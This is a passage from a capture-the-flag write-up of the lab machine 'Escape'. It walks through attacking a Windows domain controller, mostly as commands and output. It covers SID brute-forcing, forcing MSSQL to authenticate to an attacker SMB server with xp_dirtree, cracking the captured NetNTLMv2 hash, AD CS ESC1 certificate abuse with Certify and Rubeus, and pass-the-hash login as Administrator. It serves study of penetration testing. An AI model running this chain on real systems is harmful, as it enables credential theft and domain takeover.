gt; help ...... rpcclient gt; getusername Account Name: Guest, Authority Name: sequel ``` Looks like we have established some access, let's run the help command and see what looks interesting from our list of options. Remember, we are looking for a file here according to the information provided to us on the machine page. ``` sequel S-1-5-21-4078382237-1492182817-2568127209 (Domain: 3) rpcclient gt; lookupnames guest guest S-1-5-21-4078382237-1492182817-2568127209-501 (User: 1) rpcclient gt; lookupnames ``` After running through most of the commands I thought would help I kept repeatedly running into an `NT_STATUS_ACCESS_DENIED` message. From here I decided to run Impacket's `lookupsid.py` to see if we could discover any interesting users. ``` $ lookupsid.py [email protected] Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies Password: [*] Brute forcing SIDs at 10.129.228.253 [*] StringBinding ncacn_np:10.129.228.253[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209 498: sequel\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: sequel\Administrator (SidTypeUser) 501: sequel\Guest (SidTypeUser) 502: sequel\krbtgt (SidTypeUser) 512: sequel\Domain Admins (SidTypeGroup) 513: sequel\Domain Users (SidTypeGroup) 514: sequel\Domain Guests (SidTypeGroup) 515: sequel\Domain Computers (SidTypeGroup) 516: sequel\Domain Controllers (SidTypeGroup) 517: sequel\Cert Publishers (SidTypeAlias) 518: sequel\Schema Admins (SidTypeGroup) 519: sequel\Enterprise Admins (SidTypeGroup) 520: sequel\Group Policy Creator Owners (SidTypeGroup) 521: sequel\Read-only Domain Controllers (SidTypeGroup) 522: sequel\Cloneable Domain Controllers (SidTypeGroup) 525: sequel\Protected Users (SidTypeGroup) 526: sequel\Key Admins (SidTypeGroup) 527: sequel\Enterprise Key Admins (SidTypeGroup) 553: sequel\RAS and IAS Servers (SidTypeAlias) 571: sequel\Allowed RODC Password Replication Group (SidTypeAlias) 572: sequel\Denied RODC Password Replication Group (SidTypeAlias) 1000: sequel\DC$ (SidTypeUser) 1101: sequel\DnsAdmins (SidTypeAlias) 1102: sequel\DnsUpdateProxy (SidTypeGroup) 1103: sequel\Tom.Henn (SidTypeUser) 1104: sequel\Brandon.Brown (SidTypeUser) 1105: sequel\Ryan.Cooper (SidTypeUser) 1106: sequel\sql_svc (SidTypeUser) 1107: sequel\James.Roberts (SidTypeUser) 1108: sequel\Nicole.Thompson (SidTypeUser) 1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias) ``` Ok we have a solid list of users along with their associated RID...however we are still back to square one. I decided to try enumerating SMB again thinking I missed something or forgot a step and sure enough I did...I used `smbclient` to connect to the `Public` share that we discovered earlier knowing it is `READ ONLY` and was successful! ``` $ smbclient //10.129.228.253/Public Password for [WORKGROUP\d3adair]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Sat Nov 19 05:51:25 2022 .. D 0 Sat Nov 19 05:51:25 2022 SQL Server Procedures.pdf A 49551 Fri Nov 18 07:39:43 2022 5184255 blocks of size 4096. 1465265 blocks available ``` After running `dir` we see there is a PDF with the name `SQL Server Procedures.pdf` - let's go ahead and download this file with the command `get "SQL Server Procedures.pdf"` and open it up in a PDF viewer to see what we're working with. ![[esc1.png]] Reading through the PDF, we see that it is document listing different procedures for accessing a specific SQL server from either a domain joined or a non-domain joined machine. Obviously we are not on the domain so the instructions on how to access the SQL server from a non-domain joined machine will be most relevant to us. There is also a "Bonus" section at the bottom where we see that there is a UN/PW combination of `PublicUser` and `GuestUserCantWrite1` that can be used to view the database with limited permissions. ## Initial Access Now we don't have a way to access the MSSQL server in the way that is described in the PDF, but there are other options we can try. I tried `mysql` and `sqsh` but was unsuccessful with both of these. I then went back to Impacket and attempted to authenticate using the mssqlclient.py tool and was successful! ``` $ mssqlclient.py PublicUser:[email protected] Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (PublicUser guest@master)> ``` My first thought was to try enabling `xp_cmdshell` but received a permission denied error message. ``` SQL (PublicUser guest@master)> enable_xp_cmdshell ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action. ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement. ERROR(DC\SQLMOCK): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option. ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement. ``` If we go back to when we dumped users with `lookupsid.py` we remember there was an account called `sql_svc` with the RID of `1106` that we found. While I don't know for sure, it is likely that the MSSQL server is running under this user. If we force an authentication between the MSSQL server and our machine, we could capture the hash for the `sql_svc` account and crack it offline with hashcat. In fact, let's go ahead and try this. ``` $ sudo smbserver.py -smb2support d3adair . Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed ``` Running Impacket's `smbserver.py` tool, we start an SMB server...now we could do this a few different ways including with `Responder` however I decided to use the `exec_master` command with `xp_dirtree` to attempt to authenticate with my SMB server. ``` SQL (PublicUser guest@master)> exec master..xp_dirtree '\\10.10.14.172\d3adair\' subdirectory depth ------------ ----- ``` Now let's check the terminal window running our SMB server...there should be a connection attempt. ``` [*] Incoming connection (10.129.228.253,52644) [*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC) [*] User DC\sql_svc authenticated successfully [*] sql_svc::sequel:aaaaaaaaaaaaaaaa:36fd6b5bf132b69d8937f53b080700cb:010100000000000080575391043adb01283cbb76c6520965000000000100100043004a0045007000710053005a0054000300100043004a0045007000710053005a0054000200100051004f0066007400490070006c0042000400100051004f0066007400490070006c0042000700080080575391043adb010600040002000000080030003000000000000000000000000030000089173ede7ad1293531f45794b5d59a19737dd1165046094fae48bf6f279d47160a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100370032000000000000000000 ``` Now we're talking! We have successfully captured the NTLMv2 hash for the `sql_svc` account as we suspected we would. Now all we need to do is to place the hash in a separate file and crack it using hashcat. Once you have the file ready, go ahead and crack! If you need help figuring out which mode to use you can always check the [Hashcat Wiki ](https://hashcat.net/wiki/doku.php?id=hashcat) or you could just run `hashcat --identify hash.txt` and hashcat will attempt to detect the hash type itself. Or you could just be really lazy like I sometimes am and just run `hashcat hash.txt /usr/share/wordlists/sectlists/rockyou.txt` and rely on hashcat detecting the hash type before attempting to crack it. ``` $ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt.gz ... {REDACT3D} Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: SQL_SVC::sequel:aaaaaaaaaaaaaaaa:36fd6b5bf132b69d89...000000 Time.Started.....: Mon Nov 18 16:02:17 2024 (6 secs) Time.Estimated...: Mon Nov 18 16:02:23 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Queue......: 1/1 (100.00%) Speed.#2.........: 1814.9 kH/s (0.76ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 10700800/14344385 (74.60%) Rejected.........: 0/10700800 (0.00%) Restore.Point....: 10698752/14344385 (74.58%) Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#2....: REPIN210 -> REDOCEAN22 ``` We have successfully cracked the password for the `sql_svc` account! Let's try to establish a shell using `evil-winrm` with our newly discovered credentials. ```powershell $ evil-winrm -i 10.129.228.253 -u sql_svc -p {REDACT3D} Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\sql_svc\Documents> ``` Now that we have a shell with evil-winrm - Let's take a look around and see what we can find that sticks out. ```powershell *Evil-WinRM* PS C:\Users\sql_svc> dir C:\Users Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/7/2023 8:58 AM Administrator d-r--- 7/20/2021 12:23 PM Public d----- 2/1/2023 6:37 PM Ryan.Cooper d----- 2/7/2023 8:10 AM sql_svc ``` Listing the contents of `C:\Users` indicates that there is an account on the DC with the name `Ryan.Cooper` however when attempting to enumerate his user folder we are met with permission denied errors. ```powershell *Evil-WinRM* PS C:\Users> dir C:\ Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/1/2023 8:15 PM PerfLogs d-r--- 2/6/2023 12:08 PM Program Files d----- 11/19/2022 3:51 AM Program Files (x86) d----- 11/19/2022 3:51 AM Public d----- 2/1/2023 1:02 PM SQLServer d-r--- 2/1/2023 1:55 PM Users d----- 2/6/2023 7:21 AM Windows ``` Listing the contents of `C:\` we see there is a `SQLServer` folder...let's see what is inside. ```powershell *Evil-WinRM* PS C:\SQLServer> dir Directory: C:\SQLServer Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/7/2023 8:06 AM Logs d----- 11/18/2022 1:37 PM SQLEXPR_2019 -a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe -a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe ``` We see a couple of `.exe` files and a couple of directories...let's take a look at `Logs` and see what is inside. ```powershell *Evil-WinRM* PS C:\SQLServer> cd Logs *Evil-WinRM* PS C:\SQLServer\Logs> ls Directory: C:\SQLServer\Logs Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK ``` There is an error log with the name `ERRORLOG.BAK` inside...if we display the contents we are met with a semi-lengthy output filled with various types of log types however if we scroll down to the bottom we see a Logon log type and what appears to be a failed logon from the `Ryan.Cooper` user who apparently attempted to log in accidentally with what looks like his password. ``` 2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] 2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8. 2022-11-18 13:43:07.48 Logon Logon failed for user 'REDACT3D'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] ``` Now that we have the `Ryan.Cooper` user's password, let's try to get a shell with `evil-winrm` using his credentials. ```powershell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cat C:\Users\Ryan.Cooper\Desktop\user.txt {REDACT3D} ``` User flag has been acquired, now we need to figure out a way to escalate our privileges. ## Privilege Escalation My first goal after managing to establish a foothold on the target was to run a privilege escalation script like `winPEAS` or `JAWS` however neither of these provided anything that I could use to escalate privileges. I tried `PrivescCheck` as well but that unfortunately failed as well. Going down the checklist we arrive at attempting to enumerate for possible `AD CS` (Active Directory Certificate Services) vulnerabilities like `ESC1, ESC4, or ESC8` that we could potentially exploit. I downloaded the `NetFramework_4..7_Any` version of [Certify](https://github.com/GhostPack/Certify) from [SharpCollection](https://github.com/Flangvik/SharpCollection) and successfully uploaded it to the target with `evil-winrm`. ```shell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload Certify.exe Info: Uploading /home/d3adair/Certify.exe to C:\Users\Ryan.Cooper\Desktop\Certify.exe Data: 235760 bytes of 235760 bytes copied Info: Upload successful! ``` Now that we have `Certify.exe` on the target machine we need to run it with the correct switches in order to properly enumerate for certificate misconfigurations. If we look on the `GhostPack` GitHub repo for Certify they provide a list of all of the different switches that we can use to look for vulnerable certificates. Let's try running `Certify.exe find /vulnerable /currentuser` which should find any vulnerable templates using all groups that the current user context is a part of. Attempting to run Certify.exe using the binary downloaded from the `/NetFramework_4.7_Any/` folder gave me issues so I tried downloading and uploading the 64bit version from the `/NetFramework_4.7_x64/` folder instead in order to see if Windows liked it any better. ``` *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> .\Certify.exe find /vulnerable /currentuser _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.1.0 [*] Action: Find certificate templates [*] Using current user's unrolled group SIDs for vulnerability checks. [*] Using the search base 'CN=Configuration,DC=sequel,DC=htb' [*] Listing info about the Enterprise CA 'sequel-DC-CA' ``` Ahhhhh...that is much much better, now we need to examine the results of Certify and try to figure out what to look for so that we can exploit the ESC1 vulnerability in AD CS. [HackTricks ESC1](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#misconfigured-certificate-templates-esc1) ``` [!] Vulnerable Certificates Templates : CA Name : dc.sequel.htb\sequel-DC-CA Template Name : UserAuthentication Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email Permissions Enrollment Permissions Enrollment Rights : sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512 sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513 ``` It looks like Certify found a vulnerable template called `UserAuthentication` that allows enrollment from the `Domain Users` group. Let's run net users /domain to see what users we could request a certificate for. ```powershell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> net users /domain User accounts for \\ ------------------------------------------------------------------------------- Administrator Brandon.Brown Guest James.Roberts krbtgt Nicole.Thompson Ryan.Cooper sql_svc Tom.Henn The command completed with one or more errors. ``` Hmmm...we see a few other users other than ourselves and the `sql_svc` user but the `Administrator` user looks like our best bet. Now we can run another Certify command seen below which will allow to request a certificate for the Administrator user. ```powershell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> .\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator ``` After running this you will see some output that includes an RSA private key and a certificate. However, if you look at the very bottom of the command Certify notifies the user that the certificate needs to be converted from `.pem` format to `.pfx` format in order for it to be used. It provides a command using `openssl` that we can run on our attacker machine. Let's save the RSA key and the certificate to a file on our attacker machine and run the command to convert it to `.pfx` format. ```bash $ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Enter Export Password: Verifying - Enter Export Password: ``` After running the command given to us by Certify and entering nothing for the `Enter Export Password` prompt, you should now have a `cert.pfx` file. Now we will need to download `Rubeus.exe` to our machine from the same location that we downloaded Certify and upload it using `evil-winrm` just like we did earlier. ``` *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> .\Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\Ryan.Cooper\Desktop\cert.pfx ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.2 [*] Action: Ask TGT [*] Got domain: sequel.htb [*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb [*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator' [*] Using domain controller: fe80::6d85:32aa:fa0e:bf67%4:88 [+] TGT request successful! [*] base64(ticket.kirbi): ``` This is good but we still don't have the NT hash that we need for the administrator's account. If we look at the GitHub repo for [Rubeus](https://github.com/GhostPack/Rubeus?tab=readme-ov-file#asktgt) under `asktgt` and scroll down, we see there is `/getcredentials` switch that we can run on top of our command to retrieve the NT hash. Let's run Rubeus again with the same command and see if the NT is returned. ```powershell [*] Getting credentials using U2U CredentialInfo : Version : 0 EncryptionType : rc4_hmac CredentialData : CredentialCount : 1 NTLM : {REDACT3D} ``` That worked! Now...let's go ahead and try logging back into the DC using the Administrator's account using evil-winrm and his NT hash. ```powershell $ evil-winrm -i 10.129.228.253 -u Administrator -H {REDACT3D NT HASH} Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\Desktop\root.txt {REDACT3D} ``` Root flag successfully acquired! ## Conclusion Escape was one of the most fun CTFs that I have done so far, the enumeration and AD CS exploitation in particular made me really think and dig deep in order to figure out what needed to be done. I learned a lot about enumerating various aspects of a DC, connecting to and running commands on an MSSQL server, and using tools like Certify and Rubeus to exploit vulnerabilities in Active Directory Certificate Services. My next machine that I plan on doing will be `UpDown` which is the 2nd Linux machine on TJ Null's 2023-2024 PEN 200 list. Until next time!